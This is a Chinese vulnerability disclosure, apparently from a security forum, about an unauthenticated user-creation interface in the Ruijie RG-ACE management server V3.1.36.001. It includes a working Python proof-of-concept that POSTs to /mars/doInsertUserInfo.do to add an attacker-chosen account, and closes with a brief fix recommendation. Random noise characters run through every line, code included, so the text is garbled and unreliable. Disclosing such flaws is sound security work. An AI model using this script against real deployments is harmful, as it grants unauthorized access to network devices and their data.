锐捷应用控制引擎管理服务器(RG-ACE系列应用控制引擎管理服务器V3.1.36.001,官网的连接 http://www.ruijie.com.cn/service/down-search.aspx 显示是最新版)可以根据没有权限验证的接口直接增加用户,连接设备,查看设备信息和报表(权限相对于默认的admin比较低)
% D @3 p! y' n' O \- R# e. N# i8 d; ]9 B( E* G) E4 P
2 N. Z# h! @5 [2 U* s8 I' W( G- o: p测试的具体版本是
9 h% m& Q4 C8 {" c8 Q+ d产品名称: 锐捷应用控制引擎7 R1 p- d3 l9 B) q) R9 B0 s
版本号: 3.1.36.001 TC
, i6 U6 i- I6 V% z( \: T& e ~! f+ C+ D编译时间: 201104291730# I. s# @# Z+ c
. Z, {! S2 K- `/ o; ]; l2 i: K& p
0 S0 {0 @* g, m1 N
漏洞证明:
3 y; [" _! u. O/ I# a1 v 1 X3 y2 y6 ^& p7 o4 F
: {5 M; j' S* B9 k
$ E) @0 Z+ l, [! }0 @) r. S# U- q6 _! ?0 V
/ C2 W+ f5 z; {. u& |! w
: O5 O0 e- {2 g0 f2 b执行脚本0 ~, b6 X# X8 S' X/ K' t
#! /usr/bin/env python
6 x) a* E/ H) M% A, T$ m#coding=gbk
/ H" l2 A0 u$ Z i% @! S0 V' E#RG-ACE管理服务器 V3.1.36.001! `* l+ ^, C- O, W" @
import urllib2, urllib,cookielib3 A' ~. h' Q0 [1 o% }
url=r'http://IP/mars/doInsertUserInfo.do' #IP改为装这个软件的IP+ t1 E$ S$ M$ Z$ C! Q+ D+ G% R' U
opener=urllib2.build_opener(urllib2.HTTPCookieProcessor(cookielib.CookieJar()))
* b7 g0 C& _% P$ `! ]5 `4 z8 |opener.addheaders = [('User-agent','Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)')]
; j/ f* F1 R' e: U mpost=(("event","userManager.doInsertUserInfo"),
6 y9 g7 ~* d8 m* U W("useractionname","addButtonValue"),
$ z! f T! ^* p g("useropermanager","userManager"),% K: D4 e( |% K
("userName","t"), #######账号自己加- z# P0 L, J3 t& l v7 \
("pwd","aaaaaa"),######密码自己加
+ F2 [- o# G$ c& c& G("trueName","ad"),
) n( d! S) }5 M4 }& O% R) ?# ~("email",""),
1 \2 j& \; U" }* p4 G& c("mobilePhone",""),* s: H9 X p6 e8 d8 G( |& R V
("officePhone",""),
! g7 Y, j f, y) a V("addr",""),
% O5 h/ M8 L" s/ Q("submit","确定"))
- p) ]6 g- `* d+ J1 A9 Aurllib2.install_opener(opener)7 \; u; R1 @# k3 k7 [
p=urllib2.urlopen(url, urllib.urlencode(post)).read()
% |5 ~7 n$ n" i% Wprint "Done"% G& ?3 S$ _( C. F% B' H) v
% c' M8 C4 y/ S: z5 t5 p* k登录,连接设备; l4 [2 k6 u: P: m; X# m8 C
" M+ [8 g# Y) r+ W
7 l' G( V8 q7 S1 v, e2 r
" C1 g' e2 J# M# p4 _1 I/ v/ {( y: e
& r7 L4 Y) G- N6 n7 v* h1 z& Z6 a9 ]$ D+ o( z5 |" N4 _; P0 j
默认的管理员admin权限更大点) m$ z0 l! f8 m. G8 e
$ _7 G# O8 z' r' X2 f0 B7 O. O5 F0 V& ]: G
- U: e; Y+ Z! P9 l2 d8 P) }
2 D, {8 t! R$ A' ^$ x q% Q- x7 f+ V0 I$ T# B4 U* Z# m
修复方案:
( s4 b; E; E/ W, ^8 P# B! A4 }加强对接口的权限验证
* u& k$ a, R3 s
5 a7 u# A) c" k6 f |